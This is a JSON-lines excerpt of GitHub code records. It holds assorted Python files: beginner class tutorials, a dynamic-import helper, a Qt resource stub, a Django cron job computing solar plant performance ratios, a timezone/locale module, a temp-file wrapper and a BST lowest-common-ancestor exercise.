{id} was {old_balance} and is now {new_balance}')\n                else:\n                    print('thats not a valid id.')\n            elif user_input == 'e':\n                break\n\n    def get_amount(self):\n        amount = None\n        user_input = None\n        while type(amount) is not int:\n            if user_input is not None:\n                print(\"That wasn't a number\")\n            user_input = input('Please enter an amount: ')\n            try:\n                amount = int(user_input)\n            except:\n                pass\n        return amount\n\n    def get_id(self):\n        id = None\n        user_input = None\n        while type(id) is not int:\n            if user_input is not None:\n                print(\"That wasn't an id\")\n            user_input = input('Please enter an id: ')\n            try:\n                potential_id = int(user_input)\n                id = potential_id\n            except:\n                pass\n        return id\n\n\nclass Student:\n    def __init__(self, name):\n        self.name = name\n        self.account_balance = 0\n\n    def credit(self, amount):\n        self.account_balance += amount\n\n    def debit(self, amount):\n        self.account_balance -= amount\n\n    def current_balance(self):\n        return self.account_balance\n\nif __name__ == '__main__':\n    hbs = HuskyBucksSystem()\n    hbs.start()\n","repo_name":"JohnminerIv/b-g-club-tutorials","sub_path":"day_3/brainstorm_challenge.py","file_name":"brainstorm_challenge.py","file_ext":"py","file_size_in_byte":4861,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"18702833432","text":"# Cómo crear clases y objetos en Python (video YouTube)\n# https://www.youtube.com/watch?v=wfcWRAxRVBA\n\nclass Robot:\n    def introduce_self(self):\n        print(\"My name is \" + self.name)\n\n# Es necesario agregar el self como parametro en cada funcion que se crea dentro de la clase)\n\nr1 = Robot()\nr1.name = \"Tom\"\nr1.color = \"red\"\nr1.weight = 30\n\nr2 = Robot()\nr2.name = \"Jerry\"\nr2.color = \"blue\"\nr2.weight = 40\n\nr1.introduce_self()\nr2.introduce_self()\n\n# ---------------------------------------------------------------------------------------------------------------\n# Vamos a crear una clase Robot_pro con un constructor que nos permita definir los objetos de mandera más fácil\n\nclass Robot_pro:\n    def __init__(self, name, color, weight):\n        self.name = name\n        self.color = color\n        self.weight = weight\n\n    def introduce_self(self):\n        print(\"My name is \" + self.name)\n\n# Ahora podemos crear un objeto en una simple linea\nr3 = Robot_pro(\"Steven\", \"white\", 80)\nr4 = Robot_pro(\"Hulk\", \"green\", 200)\n\nr3.introduce_self()","repo_name":"martucichi16/Fund_informatica_GIT","sub_path":"Clases_Teoricas/POO.py","file_name":"POO.py","file_ext":"py","file_size_in_byte":1044,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"31711318353","text":"\"\"\"\n为了任意路径下的.py包的引入\n\"\"\"\nimport os, sys\nfrom pathlib import Path\nimport damei as dm\n\nlogger = dm.getLogger('arbitray_import')\n\n\ndef arbitrary_import(path):\n    logger.warn(f'Not tested.')\n    if os.path.isdir(path):\n        path = f'{path}/__init__.py'\n    abs_path = Path(os.path.abspath(path))\n    cdir = os.getcwd()  # 当前工作目录\n    sys.path.append(f'{abs_path.parent}')\n    module_dir = '.'\n    os.chdir(f'{abs_path.parent}')  # 切换工作目录\n    code = f'import {abs_path.stem}'\n\n    try:\n        exec(code)\n    except Exception as e:\n        msg = f'Error in \"exec(code)\": {e}. Error variables:\\n' \\\n              f'    abs path: {abs_path} \\n' \\\n              f'    code: {code} \\n' \\\n              f'    module dir: {module_dir} \\n' \\\n              f'    sys.path[-1]: {sys.path[-1]} '\n        raise Exception(msg)\n\n    sys.path = sys.path[:-1:]\n    os.chdir(cdir)\n","repo_name":"zhangzhengde0225/damei","sub_path":"damei/nn/uaii/utils/arbitrary_import.py","file_name":"arbitrary_import.py","file_ext":"py","file_size_in_byte":910,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"22"}
+{"seq_id":"11240270399","text":"# Resource object code (Python 3)\n# Created by: object code\n# Created by: The Resource Compiler for Qt version 5.15.0\n# WARNING! All changes made in this file will be lost!\n\nfrom PySide2 import QtCore\n\nqt_resource_data = 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b\"\\\n\\x00\\x06\\\n\\x07\\x95\\xd2~\\\n\\x00r\\\n\\x00o\\x00f\\x00l\\x00a\\x00n\\\n\\x00\\x0a\\\n\\x02\\x8ez\\xc7\\\n\\x00r\\\n\\x00o\\x00f\\x00l\\x00a\\x00n\\x00.\\x00j\\x00p\\x00g\\\n\"\n\nqt_resource_struct = b\"\\\n\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\\n\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02\\\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\\n\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\\n\\x00\\x00\\x01s\\x1f\\x1e\\x87G\\\n\"\n\ndef qInitResources():\n    QtCore.qRegisterResourceData(0x03, qt_resource_struct, qt_resource_name, qt_resource_data)\n\ndef qCleanupResources():\n    QtCore.qUnregisterResourceData(0x03, qt_resource_struct, qt_resource_name, qt_resource_data)\n\nqInitResources()\n","repo_name":"Krikiboli/Labka_6","sub_path":"roflan.py","file_name":"roflan.py","file_ext":"py","file_size_in_byte":234657,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"24869609837","text":"from logger.views import log_a_success\nimport sys, dateutil, logging\nimport datetime\nfrom solarrms.models import PerformanceRatioTable, PlantMetaSource, EnergyGenerationTable, SolarPlant\nfrom utils.errors import generate_exception_comments, log_and_return_error\nfrom django.utils import timezone\nfrom django.conf import settings\nfrom django.core.exceptions import ObjectDoesNotExist\nimport pytz\nfrom dataglen.models import ValidDataStorageByStream\nfrom dateutil import parser\nfrom solarrms.solarutils import get_aggregated_energy\n\nlogger = logging.getLogger('dataglen.log')\nlogger.setLevel(logging.DEBUG)\n\nstart_date = \"2016-03-22 12:00:00\"\n\n\ndef compute_performance_ratio():\n    print(\"Cron job started - %s\",datetime.datetime.now())\n\n    try:\n        try:\n            plant_meta_sources = PlantMetaSource.objects.all()\n        except ObjectDoesNotExist:\n            print(\"No plant meta source found.\")\n        for plant_meta_source in plant_meta_sources:\n            print(\"For plant_meta_source: \", plant_meta_source.sourceKey)\n            #check if data exists in Performance ratio table for this plant\n            #if data exists, take last timestamp from 15 min table as new start_time\n            #if data does not exist, start with a default date, say 5th April 2016 00:00:00\n\n            #from start_time till current_time\n            #read irradiation data from this source in chunks of 1 hour\n            # compute performance ratio for 1 hour and update avg. performance ratio for the day\n            # write performance ratio appropriately in performance ratio table.\n\n            # get the current time at which the cron job is run and convert it to source timezone\n\n            # check when was the last entry made in PerformanceRatioTable\n\n            #TODO: check if the daily energy should be taken from plant meta source or from any other place\n            \n            try:\n                tz = pytz.timezone(plant_meta_source.dataTimezone)\n                print(\"tz\" , tz)\n            except:\n                print(\"error in converting current time to source timezone\")\n\n            try:\n                current_time = timezone.now()\n                # astimezone does the conversion and updates the tzinfo part\n                current_time = current_time.astimezone(pytz.timezone(plant_meta_source.dataTimezone))\n            except Exception as exc:\n                current_time = timezone.now()\n            #current_time = datetime.datetime.now()\n            print(\"current time outside: \", current_time)\n            performance_last_entry = PerformanceRatioTable.objects.filter(timestamp_type=settings.TIMESTAMP_TYPES.BASED_ON_REQUEST_ARRIVAL,\n                                                                          count_time_period=settings.DATA_COUNT_PERIODS.HOUR,\n                                                                          identifier=plant_meta_source.sourceKey).limit(1).values_list('ts')\n\n            if performance_last_entry:\n                last_entry_values = values = [item[0] for item in performance_last_entry]\n                last_entry  = last_entry_values[0]\n                print(\"last_time_entry: \", last_entry)\n                if last_entry.tzinfo is None:\n                    #the time value is UTC here and we dont want to localize it.\n                    last_entry =pytz.utc.localize(last_entry)\n                    #last_entry = tz.localize(last_entry)\n                    last_entry = last_entry.astimezone(pytz.timezone(plant_meta_source.dataTimezone))\n            else:\n                last_entry = datetime.datetime.strptime(start_date, '%Y-%m-%d %H:%M:%S')\n                if last_entry.tzinfo is None:\n                    last_entry = tz.localize(last_entry)\n                    last_entry = last_entry.astimezone(pytz.timezone(plant_meta_source.dataTimezone))\n            print(last_entry)\n            duration = (current_time-last_entry)\n            days, seconds = duration.days, duration.seconds\n            print( days, seconds)\n            duration_hours = days * 24 + seconds/3600\n\n            #Run the while loop for the duration for which this job was not running.\n            #TODO: change the order of running while iterations\n            while(duration_hours > 0):\n                print(duration_hours)\n                print(\"loop current time: \", current_time)\n                initial_time = current_time - datetime.timedelta(hours=1)\n                initial_time = initial_time.replace(minute=0,second=0,microsecond=0)\n                print(\"loop initial time: \", initial_time)\n                try:\n                    stream_data = ValidDataStorageByStream.objects.filter(source_key=plant_meta_source.sourceKey,\n                                                                          stream_name='IRRADIATION',\n                                                                          timestamp_in_data__gte=initial_time,\n                                                                          timestamp_in_data__lte=current_time).values_list('stream_value')\n                except:\n                    print(\"Error in getting the values of solar irradiation\")\n\n                #calculate the count of solar irradiation values in the last hour\n                irradiation_values = [item[0] for item in stream_data]\n                count = len(irradiation_values)\n                if count == 0:\n                    try:\n                        stream_data = ValidDataStorageByStream.objects.filter(source_key=plant_meta_source.sourceKey,\n                                                                          stream_name='EXTERNAL_IRRADIATION',\n                                                                          timestamp_in_data__gte=initial_time,\n                                                                          timestamp_in_data__lte=current_time).values_list('stream_value')\n                    except:\n                        print(\"Error in getting the values of solar irradiation\")\n                    irradiation_values = [item[0] for item in stream_data]\n                    print(\"irradiation_values\", irradiation_values)\n                    count = len(irradiation_values)\n                print(\"count\", count)\n                sum_values = 0\n                # get the energy value generated in the last hour\n                \"\"\"\n                try:\n\n                    latest_energy_data = ValidDataStorageByStream.objects.filter(source_key=plant_meta_source.sourceKey,\n                                                                                 stream_name='DAILY_PLANT_ENERGY',\n                                                                                 timestamp_in_data__gte=initial_time,\n                                                                                 timestamp_in_data__lte=current_time).values_list('stream_value')\n                    energy_values = [item[0] for item in latest_energy_data]\n                    print(str(len(energy_values)))\n                    if len(energy_values) > 0:\n                        latest_energy = float(energy_values[0]) - float(energy_values[len(energy_values)-1])\n                        print(\"latest energy from plant source\", latest_energy)\n                    else:\n                        #Read latest energy value from EnergyGeneration table\n                        plant_generation_hourly = EnergyGenerationTable.objects.filter(timestamp_type=settings.TIMESTAMP_TYPES.BASED_ON_REQUEST_ARRIVAL,\n                                                                    count_time_period=settings.DATA_COUNT_PERIODS.HOUR,\n                                                                    identifier=str(plant_meta_source.user.id) + \"_\" + plant_meta_source.plant.slug,ts__gte=initial_time,ts__lte=current_time).values_list('energy')\n                        energy_values = [item[0] for item in plant_generation_hourly]\n                        print(\"energy calculation for plant identifier: \",str(plant_meta_source.user.id) + \"_\" + plant_meta_source.plant.slug)\n                        if len(energy_values) > 0:\n                            latest_energy = energy_values[0]\n                        else:\n                            latest_energy = 0.0\n                    print(\"latest energy\", latest_energy)\n                except Exception as exception:\n                    print(\"Error in getting the energy values of last hour: \" + str(exception))\n                \"\"\"\n                latest_energy_data = ValidDataStorageByStream.objects.filter(source_key=plant_meta_source.sourceKey,\n                                                                             stream_name='DAILY_PLANT_ENERGY',\n                                                                             timestamp_in_data__gte=initial_time,\n                                                                             timestamp_in_data__lte=current_time).values_list('stream_value')\n                energy_values_data = [item[0] for item in latest_energy_data]\n                print(str(len(energy_values_data)))\n                if len(energy_values_data) > 0:\n                    latest_energy_value = float(energy_values_data[0]) - float(energy_values_data[len(energy_values_data)-1])\n                    print(\"latest energy from plant source\", latest_energy_value)\n\n                # Get the energy values using method.\n                try:\n                    plant_generation_hourly = get_aggregated_energy(initial_time,current_time,plant_meta_source.plant,'HOUR')\n                    energy_values = [item['energy'] for item in plant_generation_hourly]\n                    print(str(len(energy_values)))\n                    if len(energy_values) > 0:\n                        latest_energy = energy_values[0]\n                    else:\n                        latest_energy = 0.0\n                    print('latest energy calculated from method: ', latest_energy)\n                except Exception as exception:\n                    logger.debug(\"Error in getting the energy values : \" + str(exception))\n\n                if count > 0:\n                    #calculate the average value of solar irradiation\n                    #TODO: convert to more efficient pandas functions and parallelize the job operations\n\n                    for i in range(count):\n                        sum_values += float(irradiation_values[i]) #check\n                    average_irradiation = sum_values/count\n                    if average_irradiation > 0:\n                        print(\"average_irradiation\", average_irradiation)\n                        # calculated energy values\n                        calculated_energy = average_irradiation * plant_meta_source.PV_panel_area * plant_meta_source.PV_panel_efficiency\n                        print(\"calculated_energy\", calculated_energy)\n                        #calculate performance ratio\n                        hourly_performance_ratio = latest_energy/calculated_energy\n                        if hourly_performance_ratio < 0:\n                            hourly_performance_ratio = 0\n\n                        print(\"hourly performance ratio: \", hourly_performance_ratio)\n                        # Check if an hourly entry already exists for this time period.\n                        try:\n                            hour_entry_exists = PerformanceRatioTable.objects.filter(timestamp_type=settings.TIMESTAMP_TYPES.BASED_ON_REQUEST_ARRIVAL,\n                                                                                     count_time_period=settings.DATA_COUNT_PERIODS.HOUR,\n                                                                                     identifier=plant_meta_source.sourceKey,\n                                                                                     ts=current_time.replace(minute=0,second=0,microsecond=0))\n                            print(\"hour_entry_exists: \",hour_entry_exists)\n                        except Exception as exception:\n                            print(str(exception))\n\n                        #if entry does not exist, make an hourly entry for performance ratio and irradiation\n                        try:\n                            if len(hour_entry_exists) == 0:\n                                hour_entry = PerformanceRatioTable.objects.create(timestamp_type=settings.TIMESTAMP_TYPES.BASED_ON_REQUEST_ARRIVAL,\n                                                                                  count_time_period=settings.DATA_COUNT_PERIODS.HOUR,\n                                                                                  identifier=plant_meta_source.sourceKey,\n                                                                                  ts=current_time.replace(minute=0,second=0,microsecond=0),\n                                                                                  performance_ratio=hourly_performance_ratio,\n                                                                                  irradiation=average_irradiation,\n                                                                                  count=count,\n                                                                                  sum_irradiation=sum_values)\n                                hour_entry.save()\n                                #TODO: update the entry if it's already there?\n                        except Exception as exception:\n                            print(\"Error in adding hourly entry of performance ratio\" + str(exception))\n\n                        #update the daily entry for performance ratio and irradiation\n                        try:\n                            print(\"inside daily performance\")\n                            daily_performance = PerformanceRatioTable.objects.filter(timestamp_type=settings.TIMESTAMP_TYPES.BASED_ON_REQUEST_ARRIVAL,\n                                                                                     count_time_period=settings.DATA_COUNT_PERIODS.DAILY,\n                                                                                     identifier=plant_meta_source.sourceKey,\n                                                                                     ts=current_time.replace(hour=0,minute=0,second=0,microsecond=0))\n\n                            '''\n                            plant_latest_energy = ValidDataStorageByStream.objects.filter(source_key=plant_meta_source.sourceKey,\n                                                                                         stream_name='DAILY_PLANT_ENERGY',\n                                                                                         timestamp_in_data__lte=current_time).limit(1).values_list('stream_value')\n                            plant_energy_values = [item[0] for item in plant_latest_energy]\n\n                            plant_energy = float(plant_energy_values[0])\n                            '''\n\n\n                            if len(daily_performance)>0:\n                                #print(\"inside try\")\n                                print(\"daily_performance: \",float(daily_performance[0].performance_ratio))\n                                if hourly_performance_ratio > 0:\n                                    try:\n                                        print(\"count \",int(daily_performance[0].count))\n                                        updated_count = int(daily_performance[0].count) + count\n                                        print(\"updated_count \", updated_count)\n                                        if updated_count > 0: #TODO: check condition\n                                            updated_sum_irradiation = sum_values/count + float(daily_performance[0].sum_irradiation)\n                                            updated_irradiation = (updated_sum_irradiation)/(updated_count)\n                                        else:\n\n                                            updated_irradiation = float(daily_performance[0].irradiation)\n                                            updated_sum_irradiation = float(daily_performance[0].sum_irradiation)\n\n                                        print(\"updated_irradiation:\", updated_irradiation)\n\n                                        '''\n                                        calculated_energy_updated = updated_sum_irradiation * plant_meta_source.PV_panel_area * plant_meta_source.PV_panel_efficiency\n\n                                        if calculated_energy_updated > 0:\n                                            performance_ratio_updated = plant_energy/calculated_energy_updated\n                                        else:\n                                            performance_ratio_updated = float(daily_performance[0].performance_ratio)\n                                        '''\n                                        daily_performance_ratio = (float(daily_performance[0].performance_ratio) * int(daily_performance[0].count) + hourly_performance_ratio * count)/updated_count\n\n                                        if daily_performance_ratio < 0:\n                                            daily_performance_ratio = 0\n\n                                        daily_performance.update(performance_ratio=daily_performance_ratio,\n                                                                 irradiation=updated_irradiation,\n                                                                 count=updated_count,\n                                                                 sum_irradiation=updated_sum_irradiation)\n                                    except Exception as exception:\n                                        print(\"Error in updating the daily record : \" + str(exception))\n\n                            else:\n                                print(\"inside else\")\n\n                                try:\n                                    daily_entry = PerformanceRatioTable.objects.create(timestamp_type=settings.TIMESTAMP_TYPES.BASED_ON_REQUEST_ARRIVAL,\n                                                                                       count_time_period=settings.DATA_COUNT_PERIODS.DAILY,\n                                                                                       identifier=plant_meta_source.sourceKey,\n                                                                                       ts=current_time.replace(hour=0,minute=0,second=0,microsecond=0),\n                                                                                       performance_ratio=hourly_performance_ratio,\n                                                                                       irradiation=average_irradiation,\n                                                                                       count=count,\n                                                                                       sum_irradiation=average_irradiation)\n                                    daily_entry.save()\n                                except Exception as exception:\n                                    print(\"error in creating daily_entry record\" + str(exception))\n                        except Exception as exception:\n                            print(\"Error\" + str(exception))\n\n                duration_hours = duration_hours-1\n                current_time = current_time - datetime.timedelta(hours=1)\n    except Exception as exception:\n        print(\"Error: \" + str(exception))\n\n\ndef compute_performance_ratio_test():\n    logger.debug(\"cronjob started\")\n    try:\n        try:\n            hour_entry = PerformanceRatioTable.objects.create(timestamp_type=settings.TIMESTAMP_TYPES.BASED_ON_REQUEST_ARRIVAL,\n                                                              count_time_period=settings.DATA_COUNT_PERIODS.HOUR,\n                                                              identifier='hello',\n                                                              ts=timezone.now(),\n                                                              performance_ratio=0.579,\n                                                              irradiation=0.589,\n                                                              count=10)\n            hour_entry.save()\n        except Exception as exception:\n            logger.debug(\"Error in adding hourly entry of performance ratio\" + str(exception))\n\n    except Exception as exception:\n        logger.debug(\"Error: \"+ str(exception))","repo_name":"gokul-cloudside/kutbull-original-backup","sub_path":"solarrms/cron_compute_metrics.py","file_name":"cron_compute_metrics.py","file_ext":"py","file_size_in_byte":20376,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"35874765855","text":"\"\"\"Module containing the operations related to locale.\"\"\"\nfrom dataclasses import dataclass\nfrom datetime import datetime, tzinfo, timedelta\nfrom typing import Optional, List\n\nfrom django.utils.translation import gettext_lazy as _\nimport pytz\n\n\ndef sec_diff_to_utc_offset(s_diff: float):\n    \"\"\"\n    Takes second difference ``s_diff`` and translate it into UTC offset string (example: +0500).\n\n    :param s_diff: utc offset second difference\n    :return: translated offset string in either for example, +0500 or -0500\n    \"\"\"\n    # pylint: disable=invalid-name\n\n    is_pos = s_diff >= 0\n    s_diff = int(abs(s_diff))\n    h = s_diff // 3600\n    m = (s_diff - h * 3600) // 60\n\n    return f\"{'+' if is_pos else '-'}{h:02}{m:02}\"\n\n\n@dataclass\nclass LocaleInfo:\n    \"\"\"Class representing a locale info.\"\"\"\n\n    description: str\n    pytz_code: str\n\n    @property\n    def utc_offset_str(self) -> str:\n        \"\"\"\n        Get the UTC offset string (for example, UTC+0500) of this locale info.\n\n        :return: UTC offset string\n        \"\"\"\n        return f\"UTC{self.to_tzinfo().tzname(datetime.utcnow())}\"\n\n    def to_tzinfo(self) -> tzinfo:\n        \"\"\"\n        Get the :class:`tzinfo` of this :class:`LocaleInfo`.\n\n        :return: a corresponding `tzinfo` of this `LocaleInfo`\n        \"\"\"\n        return LocaleInfo.get_tzinfo(self.pytz_code)\n\n    @staticmethod\n    def get_tzinfo(tzidentifier: Optional[str], *, silent_fail: bool = False) -> Optional['PytzInfo']:\n        \"\"\"\n        Get the corresponding ``pytz`` :class:`tzinfo`.\n\n        If ``tzname`` is ``None`` or timezone not found and ``silent_fail`` is ``True``, returns ``None``.\n\n        Reference: https://en.wikipedia.org/wiki/List_of_tz_database_time_zones\n\n        :param tzidentifier: timezone identifier defined in IANA timezone database\n        :param silent_fail: if to silently fail if not found\n        :return: a `PytzInfo` if timezone found\n        \"\"\"\n        if tzidentifier is None:\n            return None\n\n        try:\n            return PytzInfo(pytz.timezone(tzidentifier))\n        except pytz.exceptions.UnknownTimeZoneError as ex:\n            if silent_fail:\n                return None\n\n            raise ex\n\n\n@dataclass\nclass LanguageInfo:\n    \"\"\"Class representing a language info.\"\"\"\n\n    name: str\n    code: str\n\n\nclass PytzInfo(tzinfo):\n    \"\"\"A customized :class:`tzinfo` based on the :class:`tzinfo` from ``pytz``.\"\"\"\n\n    def __init__(self, tz):\n        self._base = tz\n\n    def utcoffset(self, dt):\n        if self._base is pytz.UTC:\n            # UTC does not accept `is_dst`\n            return self._base.utcoffset(dt.replace(tzinfo=None))\n\n        return self._base.utcoffset(dt.replace(tzinfo=None), is_dst=is_now_dst(self._base))\n\n    def dst(self, dt):\n        if self._base is pytz.UTC:\n            # UTC does not accept `is_dst`\n            return self._base.dst(dt.replace(tzinfo=None))\n\n        return self._base.dst(dt.replace(tzinfo=None), is_dst=is_now_dst(self._base))\n\n    def tzname(self, dt):\n        return sec_diff_to_utc_offset(self.utcoffset(dt).total_seconds())\n\n    def localize(self, dt: datetime, *, is_dst: bool = False) -> datetime:\n        \"\"\"\n        Localize the datetime ``dt``.\n\n        ``dt`` must be tz-naive.\n\n        Uses ``is_dst`` to determine whether DST is in effect if unable to determine.\n\n        :param dt: datetime to be localized\n        :param is_dst: default setting of DST if unable to determine\n        :return: a localized `datetime`\n        :raises ValueError: if `dt` is not tz-naive\n        \"\"\"\n        return self._base.localize(dt, is_dst)\n\n    @property\n    def tzidentifier(self):\n        \"\"\"\n        Returns the ``pytz`` timezone identifier of this :class:`tzinfo`.\n\n        :return: pytz timezone identifier\n        \"\"\"\n        return self._base.zone\n\n    def __eq__(self, other):\n        # pylint: disable=unidiomatic-typecheck\n        return type(self) == type(other) and self.tzidentifier == other.tzidentifier\n\n    def __repr__(self):\n        return f\"<PytzInfo - {self.tzidentifier}>\"\n\n\ndef is_now_dst(tz) -> bool:\n    \"\"\"\n    Check if DST is in effect in ``tz`` currently.\n\n    :param tz: timezone to check DST\n    :return: if DST is in effect\n    \"\"\"\n    now = pytz.utc.localize(datetime.utcnow())\n    return now.astimezone(tz).dst() != timedelta(0)\n\n\n# region Locale info\n\n\nAUS_ADL = LocaleInfo(_(\"Oceania: Adelaide, Australia\"), \"Australia/Adelaide\")\nAUS_BNE = LocaleInfo(_(\"Oceania: Brisbane, Australia\"), \"Australia/Brisbane\")\nAUS_MEL = LocaleInfo(_(\"Oceania: Melbourne, Australia\"), \"Australia/Melbourne\")\nAUS_PER = LocaleInfo(_(\"Oceania: Perth, Australia\"), \"Australia/Perth\")\nAUS_SYD = LocaleInfo(_(\"Oceania: Sydney, Australia\"), \"Australia/Sydney\")\nCAN_EAST = LocaleInfo(_(\"North America: Eastern Timezone, Canada\"), \"Canada/Eastern\")\nCAN_PACF = LocaleInfo(_(\"North America: Pacific Timezone, Canada\"), \"Canada/Pacific\")\nCAN_YYZ = LocaleInfo(_(\"North America: Toronto, Canada\"), \"America/Toronto\")\nCAN_YVR = LocaleInfo(_(\"North America: Vancouver, Canada\"), \"America/Vancouver\")\nHKG = LocaleInfo(_(\"Asia: Hong Kong\"), \"Asia/Hong_Kong\")\nJPN = LocaleInfo(_(\"Asia: Tokyo, Japan\"), \"Asia/Tokyo\")\nKOR = LocaleInfo(_(\"Asia: Seoul, South Korea\"), \"Asia/Seoul\")\nMAC = LocaleInfo(_(\"Asia: Macau\"), \"Asia/Macau\")\nMYS = LocaleInfo(_(\"Asia: Kuala Lumpur, Malaysia\"), \"Asia/Kuala_Lumpur\")\nNZL = LocaleInfo(_(\"Oceania: Auckland, New Zealand\"), \"Pacific/Auckland\")\nSGP = LocaleInfo(_(\"Asia: Singapore\"), \"Asia/Singapore\")\nTWN = LocaleInfo(_(\"Asia: Taipei, Taiwan\"), \"Asia/Taipei\")\nGBR = LocaleInfo(_(\"Europe: London, UK\"), \"Europe/London\")\nUSA_CENT = LocaleInfo(_(\"North America: Central Timezone, USA\"), \"US/Central\")\nUSA_EAST = LocaleInfo(_(\"North America: Eastern Timezone, USA\"), \"US/Eastern\")\nUSA_LAX = LocaleInfo(_(\"North America: Los Angeles, USA\"), \"America/Los_Angeles\")\nUSA_MNT = LocaleInfo(_(\"North America: Mountain Timezone, USA\"), \"US/Mountain\")\nUSA_NYC = LocaleInfo(_(\"North America: New York, USA\"), \"America/New_York\")\nUSA_PACF = LocaleInfo(_(\"North America: Pacific Timezone, USA\"), \"US/Pacific\")\nUTC = LocaleInfo(_(\"Universal Time Coordinated\"), \"UTC\")\n\n_LOCALES = [\n    AUS_ADL, AUS_BNE, AUS_MEL, AUS_PER, AUS_SYD,\n    CAN_EAST, CAN_PACF, CAN_YYZ, CAN_YVR,\n    HKG, JPN, KOR, MAC, MYS, NZL, SGP, TWN, GBR,\n    USA_CENT, USA_EAST, USA_LAX, USA_MNT, USA_NYC, USA_PACF,\n    UTC\n]\n\n\ndef get_locales() -> List[LocaleInfo]:\n    \"\"\"\n    Get the list of the available locales.\n\n    Currently available locales:\n\n    - Australia (Adelaide)\n\n    - Australia (Brisbane)\n\n    - Australia (Melbourne)\n\n    - Australia (Perth)\n\n    - Australia (Sydney)\n\n    - Canada (Eastern)\n\n    - Canada (Pacific)\n\n    - Canada (Toronto)\n\n    - Canada (Vancouver)\n\n    - Hong Kong\n\n    - Japan\n\n    - Korea\n\n    - Macau\n\n    - Malaysia\n\n    - New Zealand (Auckland)\n\n    - Singapore\n\n    - Taiwan\n\n    - UK\n\n    - USA (Central)\n\n    - USA (Eastern)\n\n    - USA (Los Angeles)\n\n    - USA (Mountain)\n\n    - USA (NYC)\n\n    - USA (Pacific)\n\n    - UTC\n\n    :return: list of available locales\n    \"\"\"\n    return _LOCALES\n\n\nDEFAULT_LOCALE = TWN\n\n# endregion\n\n\n# region Language info\n\n\nEN_US = LanguageInfo(_(\"English (United States)\"), \"en_US\")\nZH_TW = LanguageInfo(_(\"Chinese (Taiwan)\"), \"zh_TW\")\n\n_LANGUAGES = [\n    EN_US, ZH_TW\n]\n\n\ndef get_languages() -> List[LanguageInfo]:\n    \"\"\"\n    Get the list of the available languages.\n\n    Currently available languages:\n\n    - ``en-US`` - English (US)\n\n    - ``zh-TW`` - Traditional Chinese (Taiwan)\n\n    :return: list of available languages\n    \"\"\"\n    return _LANGUAGES\n\n\nDEFAULT_LANGUAGE = ZH_TW\n\n# endregion\n","repo_name":"RxJellyBot/Jelly-Bot","sub_path":"extutils/locales.py","file_name":"locales.py","file_ext":"py","file_size_in_byte":7590,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"22"}
+{"seq_id":"20737651654","text":"import os\nimport tempfile as tf\n\n\nclass WrapStrToFile:\n    def __init__(self):\n        self.file_path = tf.mktemp()\n\n    @property\n    def content(self):\n        try:\n            f = open(self.file_path)\n            data = f.read()\n            f.close()\n            return data\n        except FileNotFoundError:\n            print(\"File doesn't exist.\")\n        except Exception as exc:\n            print(\"Some unexpected error: {}.\".format(exc))\n\n    @content.setter\n    def content(self, value):\n        f = open(self.file_path, 'w+')\n        f.write(value)\n        f.close()\n\n    @content.deleter\n    def content(self):\n        os.remove(self.file_path)\n\n\nwstf = WrapStrToFile()\nprint(wstf.content)\nwstf.content = 'test str'\nprint(wstf.content)\nwstf.content = 'text 2'\nprint(wstf.content)\ndel wstf.content\n","repo_name":"Zondrillo/LearningPython","sub_path":"My_Scripts/5.3.py","file_name":"5.3.py","file_ext":"py","file_size_in_byte":808,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"30188420492","text":"\"\"\"\nDesign an algorithm that takes as input a BST and two nodes, and returns the LCA (lowest common ancestor) of the two nodes.\nFor example, for the below BST and nodes with values 3 and 17, your algorithm should return the node with the value 7.\nAssume all keys are distinct. Nodes do not have references to their parents.\n\n                       19\n                    /      \\\n                  7         43\n                /  \\       /   \\\n              3    11     23   47\n            / \\      \\     \\     \\\n           2   5     17     37   53\n                     /     /  \\\n                   13     29  41\n                           \\\n                           31\n\n\"\"\"\n\n\nclass TreeNode:\n    def __init__(self, val):\n        self.val = val\n        self.left = None\n        self.right = None\n\n\n# Time = O(h) where h is the height of the tree\n# Space = O(1)\ndef find_lca(root, node1, node2):\n    while root:\n        if (node1.val <= root.val and node2.val >= root.val) or (node1.val >= root.val and node2.val <= root.val):\n            return root.val\n        elif node1.val < root.val and node2.val < root.val:\n            root = root.left\n        elif node1.val > root.val and node2.val > root.val:\n            root = root.right\n    return -1\n\n\nif __name__ == \"__main__\":\n    root = TreeNode(19)\n    root.left = TreeNode(7)\n    root.left.left = TreeNode(3)\n    root.left.left.left = TreeNode(2)\n    root.left.left.right = TreeNode(5)\n    root.left.right = TreeNode(11)\n    root.left.right.right = TreeNode(17)\n    root.left.right.right.left = TreeNode(13)\n\n    root.right = TreeNode(43)\n    root.right.left = TreeNode(23)\n    root.right.left.right = TreeNode(37)\n    root.right.left.right.left = TreeNode(29)\n    root.right.left.right.right = TreeNode(41)\n    root.right.left.right.left.right = TreeNode(31)\n    root.right.right = TreeNode(47)\n    root.right.right.right = TreeNode(53)\n\n    print(find_lca(root, root.left.left, root.left.right.right))\n    print(find_lca(root, root.left.left, root.right.left))\n\n\n","repo_name":"arstepanyan/Notes","sub_path":"programming/elements_prog_interview/14_binary_search_trees/4_compute_lca.py","file_name":"4_compute_lca.py","file_ext":"py","file_size_in_byte":2020,"program_lang":"python","lang":"en","doc_type":"code","stars":33,"dataset":"github-code","pt":"22"}
